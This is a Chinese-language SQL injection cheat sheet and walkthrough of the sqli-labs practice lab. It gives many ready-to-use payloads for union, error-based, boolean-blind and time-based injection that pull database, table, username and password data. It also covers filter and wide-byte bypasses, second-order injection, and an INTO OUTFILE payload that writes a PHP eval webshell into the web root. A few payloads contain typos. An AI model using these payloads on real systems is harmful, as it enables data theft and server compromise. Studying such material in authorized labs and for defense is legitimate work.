简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
常识
## 常用的注入闭合 语句
单引号 1' --
数字 1 --
双引号 1" --
单引号+括号 1') --
双引号加括号 1") --
单引号+双括号+双引号 1'))" --
单引号+双引号 1'"
单引号+单引号 1''
双引号+单引号 1"'
双引号+双引号 1""
单引号+双括号 1'))
双单引号+括号 1'')
## 常用的 注入类型
1、GET联合查询注入
2、GET报错注入
3、GET布尔盲注
4、GET延时注入
5、GET写入数据注入
6、POST报错注入
7、POST延时注入
8、POST布尔盲注
9、POST的updatexml函数报错注入
10、HTTP头部注入(user-Agent)
11、HTTP头部注入(referer)
12、HTTP头部注入(cookie)
13、HTTP头部注入(cookie-base64)
14、绕过注释符过滤注入
15、大小写或双写绕过关键字过滤注入
16、绕过空格过滤注入
17、二次注入
18、宽字节注入
19、Access偏移注入(asp)
## 常用的注释
单行注释:-- 或#
多行注释:/**/
内联注释:/*! */
## 重要函数简述
version()mysql 数据库版本
database() 数据库名称
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@version_compile_os 操作系统版本
@@datadir 数据库路径
## 其他函数
length() 返回 字符串长度
substring()或substr()或mid() 字符串截取
left() 从左边开始截取指定字符串
concat() 没有分隔符的连接字符
concat_ws() 含有分隔符的连接字符
group_concat() 连成一个组的字符串
ord() 反编ASCII码
ascii() 编译成ascii码
hex() 字符转变成16进制
unhex() hex反向操作
md5() 返回md5值
floor(x) 返回不大于x的最大整数
round() 返回参数x接近的整数
rand() 返回0-1之间的浮动数
load_file() 读取文件,并返回内容字符串
sleep(sec) 睡眠(sec)
if(true,x,y) 判断条件为真返回x,假返回y
find_in_set() 返回字符串在字符串列表的位置
benchmark() 指定语句执行次数
outfile 或者dumpfile 写入文件
## 1、猜解数据库字段数
?id=1' order by 3 -- +
## 2、回显数据库和版本号
?id=1' union select 1,database(),version() -- +
## 3、回显表名
?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() -- + 回显表名
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- + 将回显的表,链接成一个字符串
?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --+ 回显指定表表名(0 row,1 col)
## 4、回显列名
?id=1' union select 1,2,column_name from information_schema.columns where table_name='users' -- + 回显列名
?id=1' union select 1,2,group_concat(colmn_name) from information_schema.columns wheree table_name='users' -- + 将回显的列名,链接成一个字符串
?id=1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1 -- + 回显指定列名(第0行,第1列)
## 5、猜解库名
?id=1' and length(database())>10 -- + 依次输入进行数据库字段数猜解
?id=1' and ascii(substr(database(),1,1))>90 -- + 依次修改数字进行ascii对比得到数据库名
## 6、猜解表名
?id=1' (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>33 --+ 依次修改数字进行猜解表的(第一行第一列第一个)字段数
?id=1' ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>33 -- +
依次修改数字进行猜解表的(第一行第一列第一个)表名
## 7、猜解列名
?id=1' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>0 -- + 猜解列的字段数
?id=1' and ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)>90 -- + 猜解列名
## 8、延时猜解库名
?id=1'+and+sleep(if(ascii(substr(database(),1,1))>98,1,5))--+
## 9、猜解记录
?id=1' and (select count(*) from users)>0 -- + 猜解表中有多少条记录
?id=1' and (select length(username) from users limit 0,1)>15 -- + 猜解记录的第0行第一列有多少字段数
?id=1' and ascii(substr((select username from users limit 0,1),1,1)>90 -- + 猜解内容
## 10、注入文件
?id=1' union select 1,2,'<?php eval([$_POST(123)]); ?>' into outfile "/var/www/html/shell.php" -- +
## 11、常用http头部注入报错函数
and updatexmlupdatexml(1,concat(0x7e,database(),0x7e),1)
and extractvalueextractvalue(1,concat(0x7e,database()))
案例(手工猜解)
环境:sqli-labs靶场,
数据库版本:MariaDB-5.5.64
系统:linux
链接:https://pan.baidu.com/s/1aDjaqSw0nyMwBLYd0oNVzA
提取码:sqli
hackbar插件
链接:https://pan.baidu.com/s/1P9JoL3w5F9dTExgfGd-d1Q
提取码:hack
1、GET的联合查询(Less-1)
?id=-1' order by 3 -- +或者?id=1' order by 1,2,3 -- + #确定注入多少的字段
?id=-1' union select 1,database(),version() -- + #手工暴库
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1 -- + #通过修改limit 0,1来回显指定表名
或者
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- + #将所有表名拼接成一个字符串来显示
?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' -- + #回显列名
?id=-1' union select 1,group_concat(username),group_concat(password) from users -- + #回显所有账户
2、GET报错注入(Less-5)
?id=1' and length(database())=8 -- + #猜解当前数据库名有多少个字符
*****************************************************************************************
猜解数据库名称
?id=1' and ascii(substr(database(),1,1))=115 -- + #猜解数据库名第一个字符的ascii是115->s
?id=1' and ascii(substr(database(),2,1))=101 -- + #猜解数据库名第二个字符的ascii是101->e
?id=1' and ascii(substr(database(),3,1))=99 -- + #猜解数据库名第三个字符的ascii是99->c
?id=1' and ascii(substr(database(),4,1))=117 -- + #猜解数据库名第四个字符的ascii是117->u
?id=1' and ascii(substr(database(),5,1))=114 -- + #猜解数据库名第五个字符的ascii是114->r
?id=1' and ascii(substr(database(),6,1))=105 -- + #猜解数据库名第六个字符的ascii是105->i
?id=1' and ascii(substr(database(),7,1))=116 -- + #猜解数据库名第七个字符的ascii是116->t
?id=1' and ascii(substr(database(),8,1))=121 -- + #猜解数据库名第八个字符的ascii是121->y
****************************************************************************************************************************************************
猜解数据库存在多少张表和数据表的名称字符数
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+ #第一张表的字符6个
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 2,1)=7 --+ #第二张表的字符7个
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8 --+ #第三张表的字符8个
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 --+ #第四张表的字符5个
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 4,1)=1 --+ #说明数据库只存在四张表
*************************************************************************************************************************************************************
猜解数据表名
第四张表(user)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- + #第四张表第一个字符114->u
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115 -- + #第四张表第二个字符115->s
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),3,1))=101 -- + #第四张表第三个字符101->e
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),4,1))=114 -- + #第四张表第四个字符114->r
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115 -- + #第四张表第五个字符115->s
****************************************************************************************************************************************
猜解列的字符数94个
?id=1' and (select length(group_concat(column_name)) from information_schema.columns where table_name='users' limit 0,1)=94 -- +
**********************************************************************************************************************************************************************
猜解列名
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),1,1))=117 -- + 列一个字符117->u
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),2,1))=115 -- + 列一个字符115->s
........94
依次猜解
**************************************************************************
猜解表中有多少记录
?id=1' and (select count(*) from users)=13 -- + #表中存在13条记录
************************************************************************
猜解账户字符数91,密码字符数64
?id=1' and (select length(group_concat(username)) from users)=91 -- +
?id=1' and (select length(group_concat(password)) from users)=64 -- +
***********************************************************************************************************************************************
猜解账户内容
?id=1' and ascii(substr((select group_concat(username) from users),1,1))=68 -- + 68->D
?id=1' and ascii(substr((select group_concat(username) from users),2,1))=109 -- + 109->m
.......91
**********************************************************************************************************************************************
猜解密码内容
?id=1' and ascii(substr((select group_concat(password) from users),1,1))=68 -- + 68->D
?id=1' and ascii(substr((select group_concat(username) from users),2,1))=68 -- + 109->m
......64
3、GET布尔盲注(Less-8)
布尔盲注和报错注入差不多
4、GET延时注入(Less-9)
通过浏览器响应时间来判断数据库名字符数的范围
?id=1' and sleep(if(length(database())>10,0,2)) -- + #猜解数据库字符数范围
*****************************************************************************************
猜解数据库名称
?id=1' and sleep(if(ascii(substr(database(),1,1))=115,1,2)) -- + 115->s
.......
*******************************************************************************************
过程和报错注入、盲注一样一步步的通ascii码进行猜解内容,不同的是延时注入是通过浏览响应时间来猜解
5、写入数据注入需要与回显注入结合(Less-1)
查看当前数据库为位置和使用的操作系统类型
写入一句话木马文件条件: *
1、有读取文件的绝对路径 *
2、mysql服务对路径有读的权限 *
3、mysql连接用户有file权限 *
4、secure_file_priv=''* *
一句话文件最终目的需要写入在网站的根目录下 *
********************************************************************************************************
sql注入一句话木马
into outfile 或者 into dumpfile
?id=1' union select 1,2,'<?php eval([$_POST(123)]); ?>' into outfile "/var/www/html/shell.php" -- +
6、POST的布尔和延时(Less-16)
布尔
延时
7、POST的updataxml函数报错注入(Less-17)
8、HTTP头部(user-Agent)注入(Less-18)
9、HTTP头部(referer)注入(Less-19)
10、HTTP头部(Cookie)注入(Less-20)
11、HTTP头部(cookie-base64)注入(Less-21)
12、绕过注释符注入(Less-23)
13、二次注入(less-24)
思路
注册一个Dumb' -- - 或 Dumb'# 的用户,符号的目的闭合sql语句
然后修改新注册用户Dumb' -- - 的密码,通过符号的闭合sql从而修改了Dumb的密码
14、绕过过滤注入
过滤【*、–、#、空格、select、union、UNION、SELECT、Union、Select、/、】
1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码
3、符号和关键字替换 and --> &&、or --> ||
4、Mysql中会自动识别URL与Hex编码好的内容
空格的表示:%20、%a0、%09
%0c 新的一页,%0d return功能,%0b TAB键(垂直)
单引号-->%27
绕过过滤的方法
大小写绕过
双写绕过(anAndd,当代码从左向右检测时,则会剔除And,留下and)
编码绕过
内联注释绕过
绕过空格过滤(Less-26)
大小写绕过过滤(Less-27)
15、宽字节注入(Less-32)
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,
MYSQL默认字符集是GBK等宽字节字符集。
%DF’ :会被PHP当中的addslashes函数转义为“%DF\'” ,
“\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,
就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,
比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,
我们先将129(十进制)转换为十六进制,为0x81,然后在十六进制前面加%即可,即为%81
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)